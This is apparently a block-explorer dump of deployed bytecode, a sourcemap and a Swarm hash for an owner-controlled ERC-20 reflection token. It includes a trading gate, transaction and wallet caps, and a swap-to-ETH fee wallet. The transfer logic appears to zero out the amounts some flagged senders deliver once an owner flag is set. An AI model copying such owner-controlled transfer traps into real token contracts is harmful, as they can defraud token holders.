113a8565b60055460068190556007555f600b8190556001600c819055600d91909155600e55565b5f6103af33848461075b565b5f546001600160a01b0316331461053c5760405162461bcd60e51b815260040161046a906113a8565b6014805460ff60a01b1916600160a01b179055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b815260040161046a906113a8565b6001600160a01b0381166105df5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161046a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661069a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046a565b6001600160a01b0382166106fb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046a565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107bf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046a565b6001600160a01b0382166108215760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046a565b5f81116108825760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046a565b5f546001600160a01b038481169116148015906108ac57505f546001600160a01b03838116911614155b15610ad857601454600160a01b900460ff16610944575f546001600160a01b038481169116146109445760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161046a565b6006548111156109965760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161046a565b6014546001600160a01b03838116911614610a1c57600754816109b884610420565b6109c291906113f1565b1115610a1c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161046a565b5f610a2630610420565b600854600654919250821015908210610a3f5760065491505b808015610a565750601454600160a81b900460ff16155b8015610a6f57506014546001600160a01b038581169116145b8015610a845750601454600160b01b900460ff165b8015610aa857506001600160a01b0385165f9081526004602052604090205460ff16155b8015610ab5575060085483115b15610ad557610ac382610c37565b478015610ad357610ad347610da7565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610b1857506001600160a01b0383165f9081526004602052604090205460ff165b80610b4a57506014546001600160a01b03858116911614801590610b4a57506014546001600160a01b03848116911614155b15610b5657505f610bd0565b6014546001600160a01b038581169116148015610b8157506013546001600160a01b03848116911614155b15610b9357600b54600f55600c546010555b6014546001600160a01b038481169116148015610bbe57506013546001600160a01b03858116911614155b15610bd057600d54600f55600e546010555b610bdc84848484610de2565b50505050565b5f8184841115610c055760405162461bcd60e51b815260040161046a919061128c565b505f610c118486611404565b95945050505050565b5f80610c24610e10565b9050610c308382610e31565b9392505050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c7d57610c7d611417565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cd4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf8919061142b565b81600181518110610d0b57610d0b611417565b6001600160a01b039283166020918202929092010152601354610d319130911684610638565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d699085905f90869030904290600401611446565b5f604051808303815f87803b158015610d80575f80fd5b505af1158015610d92573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6009546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610dde573d5f803e3d5ffd5b5050565b80610def57610def610e55565b610dfa848484610e82565b80610bdc57610bdc601154600f55601254601055565b5f805f610e1b610fb2565b9092509050610e2a8282610e31565b9250505090565b5f610c30838360405180606001604052806021815260200161153960219139610ff1565b600f54158015610e655750601054155b15610e6c57565b600f8054601155601080546012555f9182905555565b5f805f805f80610e918761101d565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff168015610ed05750601454600160a01b900460ff165b610eda5785610edc565b5f5b6001600160a01b038a165f90815260026020526040902054909650610f019087611072565b6001600160a01b03808b165f9081526002602052604080822093909355908a1681522054610f2f9086611096565b6001600160a01b0389165f90815260026020526040902055610f50816110ff565b610f5a8483611145565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610f9f91815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a7640000610fcc8282610e31565b821015610fe857505060055492670de0b6b3a764000092509050565b90939092509050565b5f81836110115760405162461bcd60e51b815260040161046a919061128c565b505f610c1184866114b5565b5f805f805f805f805f6110358a600f54601054611169565b9250925092505f611044610e10565b90505f805f6110558e8787876111bb565b919e509c509a509598509396509194505050505091939550919395565b5f610c3083836040518060600160405280602581526020016114ec60259139610be2565b5f806110a283856113f1565b905083811015610c305760405162461bcd60e51b815260206004820152602260248201527f536166654d6174684c6962726172793a206164646974696f6e206f766572666c6044820152616f7760f01b606482015260840161046a565b5f611108610e10565b90505f6111158383611207565b305f908152600260205260409020549091506111319082611096565b305f90815260026020526040902055505050565b6005546111529083611072565b600555600a546111629082611096565b600a555050565b5f808080611182606461117c8989611207565b90610e31565b90505f611194606461117c8a89611207565b90505f6111ab826111a58b86611072565b90611072565b9992985090965090945050505050565b5f8080806111c98886611207565b90505f6111d68887611207565b90505f6111e38888611207565b90505f6111f4826111a58686611072565b939b939a50919850919650505050505050565b5f825f0361121657505f6103b3565b5f61122183856114d4565b90508261122e85836114b5565b14610c305760405162461bcd60e51b815260206004820152602860248201527f536166654d6174684c6962726172793a206d756c7469706c69636174696f6e206044820152676f766572666c6f7760c01b606482015260840161046a565b5f6020808352835180828501525f5b818110156112b75785810183015185820160400152820161129b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146112eb575f80fd5b50565b5f80604083850312156112ff575f80fd5b823561130a816112d7565b946020939093013593505050565b5f805f6060848603121561132a575f80fd5b8335611335816112d7565b92506020840135611345816112d7565b929592945050506040919091013590565b5f60208284031215611366575f80fd5b8135610c30816112d7565b5f8060408385031215611382575f80fd5b823561138d816112d7565b9150602083013561139d816112d7565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103b3576103b36113dd565b818103818111156103b3576103b36113dd565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561143b575f80fd5b8151610c30816112d7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114945784516001600160a01b03168352938301939183019160010161146f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826114cf57634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103b3576103b36113dd56fe536166654d6174684c6962726172793a207375627472616374696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365536166654d6174684c6962726172793a206469766973696f6e206279207a65726fa2646970667358221220d7c11e8d81406df9a925d9478a56d22538de19800f726e5e3bcffb08880eaae964736f6c63430008150033

Deployed Bytecode Sourcemap

4417:10882:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6439:83;;;;;;;;;;-1:-1:-1;6509:5:0;;;;;;;;;;;;-1:-1:-1;;;6509:5:0;;;;6439:83;;;;;;;:::i;:::-;;;;;;;;8331:193;;;;;;;;;;-1:-1:-1;8331:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8331:193:0;1023:187:1;6716:100:0;;;;;;;;;;-1:-1:-1;4916:15:0;6716:100;;;1361:25:1;;;1349:2;1334:18;6716:100:0;1215:177:1;9038:446:0;;;;;;;;;;-1:-1:-1;9038:446:0;;;;;:::i;:::-;;:::i;6625:83::-;;;;;;;;;;-1:-1:-1;6625:83:0;;4822:1;2000:36:1;;1988:2;1973:18;6625:83:0;1858:184:1;6828:136:0;;;;;;;;;;-1:-1:-1;6828:136:0;;;;;:::i;:::-;;:::i;2915:148::-;;;;;;;;;;;;;:::i;:::-;;10812:213;;;;;;;;;;;;;:::i;5001:51::-;;;;;;;;;;;;;;;;3323:79;;;;;;;;;;-1:-1:-1;3361:7:0;3388:6;-1:-1:-1;;;;;3388:6:0;3323:79;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;3323:79:0;2299:203:1;6530:87:0;;;;;;;;;;-1:-1:-1;6602:7:0;;;;;;;;;;;;-1:-1:-1;;;6602:7:0;;;;6530:87;;7687:199;;;;;;;;;;-1:-1:-1;7687:199:0;;;;;:::i;:::-;;:::i;5596:20::-;;;;;;;;;;-1:-1:-1;5596:20:0;;;;-1:-1:-1;;;;;5596:20:0;;;11037:76;;;;;;;;;;;;;:::i;8632:184::-;;;;;;;;;;-1:-1:-1;8632:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;8781:18:0;;;8749:7;8781:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8632:184;5115:51;;;;;;;;;;;;;;;;5564:25;;;;;;;;;;-1:-1:-1;5564:25:0;;;;-1:-1:-1;;;;;5564:25:0;;;3071:244;;;;;;;;;;-1:-1:-1;3071:244:0;;;;;:::i;:::-;;:::i;5059:49::-;;;;;;;;;;;;;;;;8331:193;8433:4;8455:39;1265:10;8478:7;8487:6;8455:8;:39::i;:::-;-1:-1:-1;8512:4:0;8331:193;;;;;:::o;9038:446::-;9170:4;9187:36;9197:6;9205:9;9216:6;9187:9;:36::i;:::-;9234:220;9257:6;1265:10;9305:138;9361:6;9305:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9305:19:0;;;;;;:11;:19;;;;;;;;1265:10;9305:33;;;;;;;;;;:37;:138::i;:::-;9234:8;:220::i;:::-;-1:-1:-1;9472:4:0;9038:446;;;;;:::o;6828:136::-;-1:-1:-1;;;;;6932:23:0;;6894:7;6932:23;;;:14;:23;;;;;;6921:35;;:10;:35::i;2915:148::-;3450:6;;-1:-1:-1;;;;;3450:6:0;1265:10;3450:22;3442:67;;;;-1:-1:-1;;;3442:67:0;;;;;;;:::i;:::-;;;;;;;;;3022:1:::1;3006:6:::0;;2985:40:::1;::::0;-1:-1:-1;;;;;3006:6:0;;::::1;::::0;2985:40:::1;::::0;3022:1;;2985:40:::1;3053:1;3036:19:::0;;-1:-1:-1;;;;;;3036:19:0::1;::::0;;2915:148::o;10812:213::-;3450:6;;-1:-1:-1;;;;;3450:6:0;1265:10;3450:22;3442:67;;;;-1:-1:-1;;;3442:67:0;;;;;;;:::i;:::-;10880:7:::1;::::0;10866:11:::1;:21:::0;;;10898:9:::1;:19:::0;-1:-1:-1;10938:10:0::1;:14:::0;;;10971:1:::1;10963:5;:9:::0;;;10983:10:::1;:14:::0;;;;11008:5:::1;:9:::0;10812:213::o;7687:199::-;7792:4;7814:42;1265:10;7838:9;7849:6;7814:9;:42::i;11037:76::-;3450:6;;-1:-1:-1;;;;;3450:6:0;1265:10;3450:22;3442:67;;;;-1:-1:-1;;;3442:67:0;;;;;;;:::i;:::-;11088:10:::1;:17:::0;;-1:-1:-1;;;;11088:17:0::1;-1:-1:-1::0;;;11088:17:0::1;::::0;;11037:76::o;3071:244::-;3450:6;;-1:-1:-1;;;;;3450:6:0;1265:10;3450:22;3442:67;;;;-1:-1:-1;;;3442:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3160:22:0;::::1;3152:73;;;::::0;-1:-1:-1;;;3152:73:0;;3689:2:1;3152:73:0::1;::::0;::::1;3671:21:1::0;3728:2;3708:18;;;3701:30;3767:34;3747:18;;;3740:62;-1:-1:-1;;;3818:18:1;;;3811:36;3864:19;;3152:73:0::1;3487:402:1::0;3152:73:0::1;3262:6;::::0;;3241:38:::1;::::0;-1:-1:-1;;;;;3241:38:0;;::::1;::::0;3262:6;::::1;::::0;3241:38:::1;::::0;::::1;3290:6;:17:::0;;-1:-1:-1;;;;;;3290:17:0::1;-1:-1:-1::0;;;;;3290:17:0;;;::::1;::::0;;;::::1;::::0;;3071:244::o;11125:369::-;-1:-1:-1;;;;;11252:19:0;;11244:68;;;;-1:-1:-1;;;11244:68:0;;4096:2:1;11244:68:0;;;4078:21:1;4135:2;4115:18;;;4108:30;4174:34;4154:18;;;4147:62;-1:-1:-1;;;4225:18:1;;;4218:34;4269:19;;11244:68:0;3894:400:1;11244:68:0;-1:-1:-1;;;;;11331:21:0;;11323:68;;;;-1:-1:-1;;;11323:68:0;;4501:2:1;11323:68:0;;;4483:21:1;4540:2;4520:18;;;4513:30;4579:34;4559:18;;;4552:62;-1:-1:-1;;;4630:18:1;;;4623:32;4672:19;;11323:68:0;4299:398:1;11323:68:0;-1:-1:-1;;;;;11402:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11454:32;;1361:25:1;;;11454:32:0;;1334:18:1;11454:32:0;;;;;;;11125:369;;;:::o;13352:1944::-;-1:-1:-1;;;;;13474:18:0;;13466:68;;;;-1:-1:-1;;;13466:68:0;;4904:2:1;13466:68:0;;;4886:21:1;4943:2;4923:18;;;4916:30;4982:34;4962:18;;;4955:62;-1:-1:-1;;;5033:18:1;;;5026:35;5078:19;;13466:68:0;4702:401:1;13466:68:0;-1:-1:-1;;;;;13553:16:0;;13545:64;;;;-1:-1:-1;;;13545:64:0;;5310:2:1;13545:64:0;;;5292:21:1;5349:2;5329:18;;;5322:30;5388:34;5368:18;;;5361:62;-1:-1:-1;;;5439:18:1;;;5432:33;5482:19;;13545:64:0;5108:399:1;13545:64:0;13637:1;13628:6;:10;13620:64;;;;-1:-1:-1;;;13620:64:0;;5714:2:1;13620:64:0;;;5696:21:1;5753:2;5733:18;;;5726:30;5792:34;5772:18;;;5765:62;-1:-1:-1;;;5843:18:1;;;5836:39;5892:19;;13620:64:0;5512:405:1;13620:64:0;3361:7;3388:6;-1:-1:-1;;;;;13701:15:0;;;3388:6;;13701:15;;;;:32;;-1:-1:-1;3361:7:0;3388:6;-1:-1:-1;;;;;13720:13:0;;;3388:6;;13720:13;;13701:32;13697:1063;;;13755:10;;-1:-1:-1;;;13755:10:0;;;;13750:143;;3361:7;3388:6;-1:-1:-1;;;;;13794:15:0;;;3388:6;;13794:15;13786:91;;;;-1:-1:-1;;;13786:91:0;;6124:2:1;13786:91:0;;;6106:21:1;6163:2;6143:18;;;6136:30;6202:34;6182:18;;;6175:62;6273:33;6253:18;;;6246:61;6324:19;;13786:91:0;5922:427:1;13786:91:0;13927:11;;13917:6;:21;;13909:62;;;;-1:-1:-1;;;13909:62:0;;6556:2:1;13909:62:0;;;6538:21:1;6595:2;6575:18;;;6568:30;6634;6614:18;;;6607:58;6682:18;;13909:62:0;6354:352:1;13909:62:0;13997:5;;-1:-1:-1;;;;;13991:11:0;;;13997:5;;13991:11;13988:134;;14057:9;;14047:6;14031:13;14041:2;14031:9;:13::i;:::-;:22;;;;:::i;:::-;:35;;14023:83;;;;-1:-1:-1;;;14023:83:0;;7175:2:1;14023:83:0;;;7157:21:1;7214:2;7194:18;;;7187:30;7253:34;7233:18;;;7226:62;-1:-1:-1;;;7304:18:1;;;7297:33;7347:19;;14023:83:0;6973:399:1;14023:83:0;14138:23;14164:24;14182:4;14164:9;:24::i;:::-;14237:16;;14292:11;;14138:50;;-1:-1:-1;14218:35:0;;;;14273:30;;14270:112;;14355:11;;14337:29;;14270:112;14402:7;:21;;;;-1:-1:-1;14414:9:0;;-1:-1:-1;;;14414:9:0;;;;14413:10;14402:21;:36;;;;-1:-1:-1;14433:5:0;;-1:-1:-1;;;;;14427:11:0;;;14433:5;;14427:11;14402:36;:51;;;;-1:-1:-1;14442:11:0;;-1:-1:-1;;;14442:11:0;;;;14402:51;:73;;;;-1:-1:-1;;;;;;14458:17:0;;;;;;:11;:17;;;;;;;;14457:18;14402:73;:102;;;;;14488:16;;14479:6;:25;14402:102;14398:351;;;14525:33;14542:15;14525:16;:33::i;:::-;14599:21;14643:15;;14639:95;;14683:31;14692:21;14683:8;:31::i;:::-;14506:243;14398:351;13735:1025;;13697:1063;-1:-1:-1;;;;;14805:17:0;;14770:12;14805:17;;;:11;:17;;;;;;14785:4;;14805:17;;;:36;;-1:-1:-1;;;;;;14826:15:0;;;;;;:11;:15;;;;;;;;14805:36;14804:72;;;-1:-1:-1;14855:5:0;;-1:-1:-1;;;;;14847:13:0;;;14855:5;;14847:13;;;;:28;;-1:-1:-1;14870:5:0;;-1:-1:-1;;;;;14864:11:0;;;14870:5;;14864:11;;14847:28;14800:437;;;-1:-1:-1;14903:5:0;14800:437;;;14952:5;;-1:-1:-1;;;;;14944:13:0;;;14952:5;;14944:13;:39;;;;-1:-1:-1;14975:7:0;;-1:-1:-1;;;;;14961:22:0;;;14975:7;;14961:22;;14944:39;14941:135;;;15016:10;;15004:9;:22;15055:5;;15045:7;:15;14941:135;15100:5;;-1:-1:-1;;;;;15094:11:0;;;15100:5;;15094:11;:39;;;;-1:-1:-1;15125:7:0;;-1:-1:-1;;;;;15109:24:0;;;15125:7;;15109:24;;15094:39;15090:136;;;15166:10;;15154:9;:22;15205:5;;15195:7;:15;15090:136;15247:41;15262:4;15268:2;15272:6;15280:7;15247:14;:41::i;:::-;13455:1841;13352:1944;;;:::o;1666:224::-;1786:7;1822:12;1814:6;;;;1806:29;;;;-1:-1:-1;;;1806:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1846:9:0;1858:5;1862:1;1858;:5;:::i;:::-;1846:17;1666:224;-1:-1:-1;;;;;1666:224:0:o;9492:193::-;9578:7;9603:19;9625:10;:8;:10::i;:::-;9603:32;-1:-1:-1;9653:24:0;:7;9603:32;9653:11;:24::i;:::-;9646:31;9492:193;-1:-1:-1;;;9492:193:0:o;12255:456::-;5811:9;:16;;-1:-1:-1;;;;5811:16:0;-1:-1:-1;;;5811:16:0;;;12354::::1;::::0;;12368:1:::1;12354:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12354:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12354:16:0::1;12330:40;;12399:4;12381;12386:1;12381:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12381:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12425:7:::1;::::0;:14:::1;::::0;;-1:-1:-1;;;12425:14:0;;;;:7;;;::::1;::::0;:12:::1;::::0;:14:::1;::::0;;::::1;::::0;12381:7;;12425:14;;;;;:7;:14:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12415:4;12420:1;12415:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12415:24:0;;::::1;:7;::::0;;::::1;::::0;;;;;:24;12482:7:::1;::::0;12450:54:::1;::::0;12467:4:::1;::::0;12482:7:::1;12492:11:::0;12450:8:::1;:54::i;:::-;12515:7;::::0;:188:::1;::::0;-1:-1:-1;;;12515:188:0;;-1:-1:-1;;;;;12515:7:0;;::::1;::::0;:58:::1;::::0;:188:::1;::::0;12588:11;;12515:7:::1;::::0;12630:4;;12657::::1;::::0;12677:15:::1;::::0;12515:188:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5850:9:0;:17;;-1:-1:-1;;;;5850:17:0;;;-1:-1:-1;;;;12255:456:0:o;8536:88::-;8589:10;;:27;;-1:-1:-1;;;;;8589:10:0;;;;:27;;;;;8609:6;;8589:10;:27;:10;:27;8609:6;8589:10;:27;;;;;;;;;;;;;;;;;;;;;8536:88;:::o;7894:276::-;8050:7;8045:25;;8059:11;:9;:11::i;:::-;8081:44;8099:6;8107:9;8118:6;8081:17;:44::i;:::-;8141:7;8136:26;;8150:12;8272:10;;8260:9;:22;8303:8;;8293:7;:18;8219:100;7518:157;7560:7;7581:15;7598;7617:12;:10;:12::i;:::-;7580:49;;-1:-1:-1;7580:49:0;-1:-1:-1;7647:20:0;7580:49;;7647:11;:20::i;:::-;7640:27;;;;7518:157;:::o;2159:139::-;2217:7;2244:46;2248:1;2251;2244:46;;;;;;;;;;;;;;;;;:3;:46::i;8824:202::-;8868:9;;:14;:30;;;;-1:-1:-1;8886:7:0;;:12;8868:30;8864:43;;;8824:202::o;8864:43::-;8932:9;;;8919:10;:22;8963:7;;;8952:8;:18;-1:-1:-1;8983:13:0;;;;9007:11;8824:202::o;9853:716::-;10000:15;10030:23;10068:12;10095:23;10133:12;10160:13;10187:22;10201:7;10187:13;:22::i;:::-;-1:-1:-1;;;;;10231:19:0;;;;;;:11;:19;;;;;;9985:224;;-1:-1:-1;9985:224:0;;-1:-1:-1;9985:224:0;;-1:-1:-1;9985:224:0;-1:-1:-1;9985:224:0;-1:-1:-1;9985:224:0;-1:-1:-1;10231:19:0;;:33;;;;-1:-1:-1;10254:10:0;;-1:-1:-1;;;10254:10:0;;;;10231:33;10230:59;;10282:7;10230:59;;;10278:1;10230:59;-1:-1:-1;;;;;10325:22:0;;;;;;:14;:22;;;;;;10220:69;;-1:-1:-1;10325:35:0;;10220:69;10325:26;:35::i;:::-;-1:-1:-1;;;;;10300:22:0;;;;;;;:14;:22;;;;;;:60;;;;10399:25;;;;;;;:46;;10429:15;10399:29;:46::i;:::-;-1:-1:-1;;;;;10371:25:0;;;;;;:14;:25;;;;;:74;10456:14;10464:5;10456:7;:14::i;:::-;10481:20;10490:4;10496;10481:8;:20::i;:::-;10534:9;-1:-1:-1;;;;;10517:44:0;10526:6;-1:-1:-1;;;;;10517:44:0;;10545:15;10517:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;10517:44:0;;;;;;;;9974:595;;;;;;9853:716;;;:::o;11978:265::-;12069:7;;12022;;;;4916:15;12142:25;12069:7;4916:15;12142:11;:25::i;:::-;12132:7;:35;12128:71;;;-1:-1:-1;;12177:7:0;;;4916:15;;-1:-1:-1;11978:265:0;-1:-1:-1;11978:265:0:o;12128:71::-;12218:7;;12227;;-1:-1:-1;11978:265:0;-1:-1:-1;11978:265:0:o;2306:223::-;2426:7;2461:12;2454:5;2446:28;;;;-1:-1:-1;;;2446:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2485:9:0;2497:5;2501:1;2497;:5;:::i;12719:621::-;12822:7;12844;12866;12888;12910;12932;12968:23;12993:12;13007:13;13037:39;13048:7;13057:9;;13068:7;;13037:10;:39::i;:::-;12967:109;;;;;;13087:19;13109:10;:8;:10::i;:::-;13087:32;;13131:15;13148:23;13173:12;13202:50;13218:7;13227:4;13233:5;13240:11;13202:15;:50::i;:::-;13130:122;;-1:-1:-1;13130:122:0;-1:-1:-1;13130:122:0;-1:-1:-1;13303:15:0;;-1:-1:-1;13320:4:0;;-1:-1:-1;13326:5:0;;-1:-1:-1;;;;;12719:621:0;;;;;;;:::o;1515:143::-;1573:7;1600:50;1604:1;1607;1600:50;;;;;;;;;;;;;;;;;:3;:50::i;1321:186::-;1379:7;;1411:5;1415:1;1411;:5;:::i;:::-;1399:17;;1440:1;1435;:6;;1427:53;;;;-1:-1:-1;;;1427:53:0;;9439:2:1;1427:53:0;;;9421:21:1;9478:2;9458:18;;;9451:30;9517:34;9497:18;;;9490:62;-1:-1:-1;;;9568:18:1;;;9561:32;9610:19;;1427:53:0;9237:398:1;10581:223:0;10632:19;10654:10;:8;:10::i;:::-;10632:32;-1:-1:-1;10675:13:0;10691:22;:5;10632:32;10691:9;:22::i;:::-;10779:4;10756:29;;;;:14;:29;;;;;;10675:38;;-1:-1:-1;10756:40:0;;10675:38;10756:33;:40::i;:::-;10747:4;10724:29;;;;:14;:29;;;;;:72;-1:-1:-1;;;10581:223:0:o;9697:144::-;9772:7;;:17;;9784:4;9772:11;:17::i;:::-;9762:7;:27;9813:10;;:20;;9828:4;9813:14;:20::i;:::-;9800:10;:33;-1:-1:-1;;9697:144:0:o;11502:468::-;11670:7;;;;11764:30;11790:3;11764:21;:7;11776:8;11764:11;:21::i;:::-;:25;;:30::i;:::-;11749:45;-1:-1:-1;11805:13:0;11821:28;11845:3;11821:19;:7;11833:6;11821:11;:19::i;:28::-;11805:44;-1:-1:-1;11860:23:0;11886:28;11805:44;11886:17;:7;11898:4;11886:11;:17::i;:::-;:21;;:28::i;:::-;11860:54;11950:4;;-1:-1:-1;11956:5:0;;-1:-1:-1;11502:468:0;;-1:-1:-1;;;;;11502:468:0:o;6972:538::-;7170:7;;;;7267:24;:7;7279:11;7267;:24::i;:::-;7249:42;-1:-1:-1;7302:12:0;7317:21;:4;7326:11;7317:8;:21::i;:::-;7302:36;-1:-1:-1;7349:13:0;7365:22;:5;7375:11;7365:9;:22::i;:::-;7349:38;-1:-1:-1;7398:23:0;7424:28;7349:38;7424:17;:7;7436:4;7424:11;:17::i;:28::-;7471:7;;;;-1:-1:-1;7497:4:0;;-1:-1:-1;6972:538:0;;-1:-1:-1;;;;;;;6972:538:0:o;1898:253::-;1956:7;1980:1;1985;1980:6;1976:47;;-1:-1:-1;2010:1:0;2003:8;;1976:47;2033:9;2045:5;2049:1;2045;:5;:::i;:::-;2033:17;-1:-1:-1;2078:1:0;2069:5;2073:1;2033:17;2069:5;:::i;:::-;:10;2061:63;;;;-1:-1:-1;;;2061:63:0;;10015:2:1;2061:63:0;;;9997:21:1;10054:2;10034:18;;;10027:30;10093:34;10073:18;;;10066:62;-1:-1:-1;;;10144:18:1;;;10137:38;10192:19;;2061:63:0;9813:404:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3126:356::-;3328:2;3310:21;;;3347:18;;;3340:30;3406:34;3401:2;3386:18;;3379:62;3473:2;3458:18;;3126:356::o;6711:127::-;6772:10;6767:3;6763:20;6760:1;6753:31;6803:4;6800:1;6793:15;6827:4;6824:1;6817:15;6843:125;6908:9;;;6929:10;;;6926:36;;;6942:18;;:::i;7377:128::-;7444:9;;;7465:11;;;7462:37;;;7479:18;;:::i;7642:127::-;7703:10;7698:3;7694:20;7691:1;7684:31;7734:4;7731:1;7724:15;7758:4;7755:1;7748:15;7774:251;7844:6;7897:2;7885:9;7876:7;7872:23;7868:32;7865:52;;;7913:1;7910;7903:12;7865:52;7945:9;7939:16;7964:31;7989:5;7964:31;:::i;8030:980::-;8292:4;8340:3;8329:9;8325:19;8371:6;8360:9;8353:25;8397:2;8435:6;8430:2;8419:9;8415:18;8408:34;8478:3;8473:2;8462:9;8458:18;8451:31;8502:6;8537;8531:13;8568:6;8560;8553:22;8606:3;8595:9;8591:19;8584:26;;8645:2;8637:6;8633:15;8619:29;;8666:1;8676:195;8690:6;8687:1;8684:13;8676:195;;;8755:13;;-1:-1:-1;;;;;8751:39:1;8739:52;;8846:15;;;;8811:12;;;;8787:1;8705:9;8676:195;;;-1:-1:-1;;;;;;;8927:32:1;;;;8922:2;8907:18;;8900:60;-1:-1:-1;;;8991:3:1;8976:19;8969:35;8888:3;8030:980;-1:-1:-1;;;8030:980:1:o;9015:217::-;9055:1;9081;9071:132;;9125:10;9120:3;9116:20;9113:1;9106:31;9160:4;9157:1;9150:15;9188:4;9185:1;9178:15;9071:132;-1:-1:-1;9217:9:1;;9015:217::o;9640:168::-;9713:9;;;9744;;9761:15;;;9755:22;;9741:37;9731:71;;9782:18;;:::i

Swarm Source

ipfs://d7c11e8d81406df9a925d9478a56d22538de19800f726e5e3bcffb08880eaae9
